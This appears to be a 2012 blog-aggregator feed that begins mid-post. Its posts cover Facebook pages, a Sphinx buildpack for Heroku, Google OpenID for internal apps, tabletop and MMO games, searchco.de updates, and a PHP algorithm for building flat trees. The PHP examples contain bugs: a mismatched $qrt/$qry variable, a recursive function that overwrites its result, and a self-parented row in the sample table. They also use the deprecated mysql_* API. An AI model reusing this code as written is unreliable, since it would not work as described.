Create a group when you really need it (for <100 people) and when you want to have close knit discussions. (People get notifications for each post on the group) -> Leads to spamming
Never create a fake profile for an organization/event/celebrity/anything that is not you. Creating fake profiles is actually against Facebook’s TOS, and can lead to account discontinuation. Plus the barrier of friending a person (instead of “liking it) is higher enough to lead to lesser number of followers.
Create a Facebook Page for every other case. If you are a brand/news/startup/organization (public facing). This is usually the best choice, and it gives you the best outreach of all. (Especially if you want to reach out to People).

In short, just create a Page, unless you know what you are doing.

Sphinx Build Pack on Heroku

CRAIG KERSTIENS — Wed, 25 Jan 2012 22:55:56 GMT

Heroku’s latest Cedar stack supports running anything. Heroku’s officially supported languages actually have their buildpacks public via Heroku’s github, you can view several of them at:

There have even been some created as fun weekend hacks such as the NES Rom Buildpack.

Recently at Heroku my teams have started exploring new forms of collaborating and documenting. In particular editing a wiki for communication is contrary to our regular workflow. Much of our day is spent in code and git. To edit a wiki within a web browser and using some markup we’re less familiar with is an overhead we were aiming to reduce. As a result we’ve tried a few things, the first was simply using a github repo to edit markdown.

Personally I have always been a fan of Sphinx documentation. However, Sphinx has no means to secure a site out of the box. Generating the static site then running it being a Rack app to secure it seemed like a few extra steps that would hinder workflow. As a result I set out to build the Sphinx buildpack which would let you push a Sphinx project to Heroku and automatically run your documentation. The buildpack itself supports two modes, public documentation and a private documentation. To have your documentation secured in private mode you simple need to add your google apps domain as a config var heroku config:add DOMAIN=mydomain.com.

If you need more information about setting up OpenID check out my recent post Securing your organization with OpenID

 $ sphinx-quickstart
 $ git init .
 $ git add .
 $ git commit -m initial
 $ heroku create -s cedar -b http://github.com/craigkerstiens/heroku-buildpack-sphinx.git
 $ git push heroku master
 $ heroku open

Soviet Faction for DUST: Tactics

Ben Overmyer's Site — Wed, 25 Jan 2012 02:00:00 GMT

Took these photos of the new Soviet faction for DUST: Tactics at Fantasy Flight Games’ Dust event tonight.

Gorgeous models, and some great info to go with them. Paolo told my wife that they’re planning on releasing an all-female unit for the Soviets, and my discussions with everyone involved seem to point to aircraft becoming a major support unit for Dust: Warfare.

Also, the Organized Play campaign system for Dust is going to include some really awesome perks just for participating. While they wouldn’t say what exactly, their enthusiasm for it was huge! I’m definitely keeping my eye on this one.

The full spread. The two walkers are the equivalent of the Axis’ Lothars.

Here’s a better shot of the Soviet walkers. I love how beefy they are!

These five guys up front are Chinese volunteers, and they come with the new helicopter model.

Definitely a fat little transport, this. Not sure about the aesthetic, but I love its tactical usage – rapid delivery of units directly where you need them!

Securing your Internal Organization with OpenID

CRAIG KERSTIENS — Mon, 23 Jan 2012 22:55:56 GMT

I’ve recently been amazed at the number of companies that are still using a VPN or other means to manage their apps/network. Not just large enterprisey companies, but small agile startups. I fully understand that it works, but 95% of these places are also using another key tool for access inside their company… Google Apps. I fully expect companies to use google apps, its more of the former that surprises me most. For a long time OpenID wasn’t at a usable point, even today it still isn’t without its faults. However, it does make for a much cleaner workflow once in place than having your users login to something with they’re used to using elsewhere.

In our personal lives we use email as our keys to the kingdom. In fact I now almost refuse to sign up for any service that doesn’t let me use oauth, so why should a work place be much different. So I inquired with a few companies to see if they were fine with securing things like documentation or wiki’s being google auth, they indeed were. Yet they still seem to have users keep one more username and password for their VPN to be able to login to access internal docs/tools.

Most tech centric companies grow their own apps for many things they do within a company. Even the heavier adopters of SaaS still end up building a lot of internal systems. So why not secure them with your email domain just as you commonly would if it were a public service?

The problem comes in that OpenId with google has an initial setup overhead, but after that works unbelievably well.

The catch

In some cases you currently have to identify your domain as an OpenId provider. This means that @yourname.com is an OpenId provider. This simply means creating a url route for openid in your base site similar to the below:

<?xml version="1.0" encoding="UTF-8"?>
<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)">
 <XRD>
 <Service priority="0">
 <Type>http://specs.openid.net/auth/2.0/signon</Type>
 <URI>https://www.google.com/a/craigkerstiens.com/o8/ud?be=o8</URI>
 </Service>
 </XRD>
</xrds:XRDS>

This is due to an issue of OpenID discovery which you can read more on at: https://groups.google.com/group/google-federated-login-api/browse_thread/thread/4a7dd2312a47a082/9285cec18a30b9d3?lnk=gst&q=apps+discovery&pli=1#9285cec18a30b9d3. In short, setting up the above can save you a lot of time

Setting up in apps

Most web frameworks have libraries that make it easy to secure your apps with openid/oauth. In particular Django and Rails both make this pretty easy. To make this even simpler for you below is code to actually secure an internal app for both Django and Rails. You can do similar with Flask or Sinatra as well.

Rails

In case your admin controller isn’t already generated:

rails g controller admin/users

Then anything you want to secure:

module Admin
class UsersController < ApplicationController
before_filter :admin_required
def index
render :text => 'Hello from the admin panel!'
end
end
end

Django

Finally sync your database:

python yourapp/manage.py syncdb

Secure any view with the login_required decorator as your typically would with Django.

Summary

In short with some very basic app setup you can have an internal workflow thats just as good as what you use in your day to day outside the office.

SWTOR First Impressions: The Sith Sorcerer

Ben Overmyer's Site — Mon, 23 Jan 2012 02:00:00 GMT

Star Wars: The Old Republic. Its very name has made many a gamer shiver in delight. I was no exception.

I've been playing since mid-to-late beta, and was among those lucky ones to be invited on day one of early access. I tried a number of classes both on the Imperial and Republic sides, and ended up choosing to play as a Sith Inquisitor. It seems that it's a popular choice, since several times when I entered a Warzone, my entire side was Inquisitors.

As I played the first few missions, I made the decision to take my Inquisitor, Scin, fully to the Dark Side. As far as I've been able to tell, all this really affects is the kind of gear you can get at endgame. Since Scin is a fully heal-speced Sorcerer now, it seems odd to make him a Dark Sider, but I don't want to have to grind Light Side points to overcome my Level 3 Dark Side corruption.

Though my guild, the Imperial Army, chose a PVE-RP server for its home, I've been doing a lot of PvP in Warzones. They're similar to WoW's Battlegrounds in concept. One of them, the Voidstar, reminds me of Storm of the Ancients - one side attacks, the other defends, and the attacker must make their way through several gates to the final artifact. It's faster than SotA, though. One of the oddities of Warzones is that players of all levels can be found in the same instance - while stats are normalized, the levels are very unequal due to the number of tools and level of player experience involved. Right now it's not so bad because most people are new to the game, but I can see this becoming a major problem as the game ages. I've read on TORWars that the developers are testing several potential fixes for this, so we'll see how it turns out.

Playing a Sorcerer-healer, there are a few things I've noticed that seem odd to me. We don't get a burst heal until level 20, and even then, it's very weak - a small burst, with a small HoT attached. Scin still doesn't have an AoE heal, and this seems odd since a Talent for AoE healing is available early in the healing tree for Sorcerers.

As an aside, a great tune to listen to while frying enemies of the Empire is the newly-released Binary Suns by Coyote Kisses. It’s a great electronic remix of the song of the same name from the Episode IV soundtrack. Heavy on the bass, with some nice bass drops and a great melody.

Updates Coming Soon

Ben E. C. Boyter — Fri, 13 Jan 2012 07:01:49 GMT

A few updates should be rolling out soon to searchco.de with the first being a big jump on the amount of open source/free software code being indexed. At last check there was about 1.1 billion lines of code indexed. This should more then double in the next release to well over 2 billion. When I have an exact count I will publish it here.

Secondly some massive speed increases are on the way. This will mostly be due to beefing up the server that its running on (subject of another to be written blog post). Finally I am working on adding a tree view of projects into the mix so you can navigate between files on the same project.

Simple Single Pass Doubly Linked Flat Tree Building Algorithm

Donat Studios — Sat, 07 Jan 2012 05:55:47 GMT

A hierarchy is a common structure, especially for structuring pages in web development. A problem with hierarchies is they often need to be flattened to be stored in a relational database, and then expanded again after being pulled out.

An Example Hierarchy

Top level item
- Sub Item
  - Sub Sub Item
    - Sub Sub Sub Item
- Sibling of "Sub Item"
Top level as well

A common and simple way to store them is with a table structure similar to the following.

id	parent_id	title
1	0	Top level item
2	0	Top level as well
3	1	Sub Item
4	1	Sibling of "Sub Item"
5	3	Sub Sub Item
6	6	Sub Sub Sub Item

Now there are several ways to process this into an array or other navigable structure. A painfully common and naïve way would be recursive queries ala:

function fetch_items($parent = 0) {
    $data = array();
    $qry = mysql_query("select * from `tablename` where parent_id = " . (int)$parent );
    while( $row = mysql_fetch_array($qry) ) {
        $data = array('data' => $row, 'children' => fetch_items($row['id']));
    }
    return $data;
}

The problem with this approach is the sheer number of queries this approach uses. Our simple example hierarchy would execute 6 queries, whereas more complicated hierarchies would execute many more.

A vastly superior approach is to pull all the data out with a single query, and then process it into the structure we need. There are several ways to do this, but I find the following DOM like structure this generates incredibly useful.

function fetch_tree() {
    $data = array();
    $qrt = mysql_query("select * from `tablename` order by parent_id asc");
    while( $row = mysql_fetch_array($qry) ) {
        $data[ $row['id'] ]['data'] = $row;
        $data[ $row['parent_id'] ]['children'][ $row['id'] ] =& $data[ $row['id'] ];
        $data[ $row['id'] ]['parent'] =& $data[ $row['parent_id'] ];
    }
    return $data;
}

Essentially, in a single pass through the data, this gets us an array of hierarchy elements, where rather than an element directly having its children, every entry has a pointer to its parent element as well as an array of pointers to its children. This is incredibly flexible, and as the tree is flattened it allows you to start at any point in the hierarchy by ID ala $data[<$id>], and navigate your way up or down. Viewing any elements children is as simple as $data[<$id>]['children'], and its parent as simple as $data[<$id>]['parent'].

I use this basic methodology a ton in my work, personal and professional (the comments and sitemap of this site are powered by it!) but the concept seems foreign when I try to explain it to people. I hope this explanation sparks some ideas for people.

Mutation Tester for All Languages

Ben E. C. Boyter — Fri, 06 Jan 2012 06:59:42 GMT

As a fan of unit tests for bug checking and development (where applicable) I always have a doubt that even though my tests pass they might not be written correctly. This is especially true where you write the tests after development rather then following TDD.

Regardless you can still stress your code by doing some mutation testing. It’s essentially a way of testing your tests. Quite a few mutation testing frameworks are out there such as Heckle, Insure++, Nester etc.. but I was looking for one for my Python and PHP code that goes into making searchco.de

Errors in Search

Ben E. C. Boyter — Wed, 04 Jan 2012 06:55:07 GMT

EDIT – This has now been resolved. All the below searches should work correctly, with the exception of XCompositeGetOverlayWindow. I am adding that to the index to be refreshed sometime in the next month or so.

Well thanks to some sample searches being thrown against the codesearch index I can finally start tuning issues that have cropped up. The main issue I have currently is searches returning no results where you would expect some. Some examples are included below.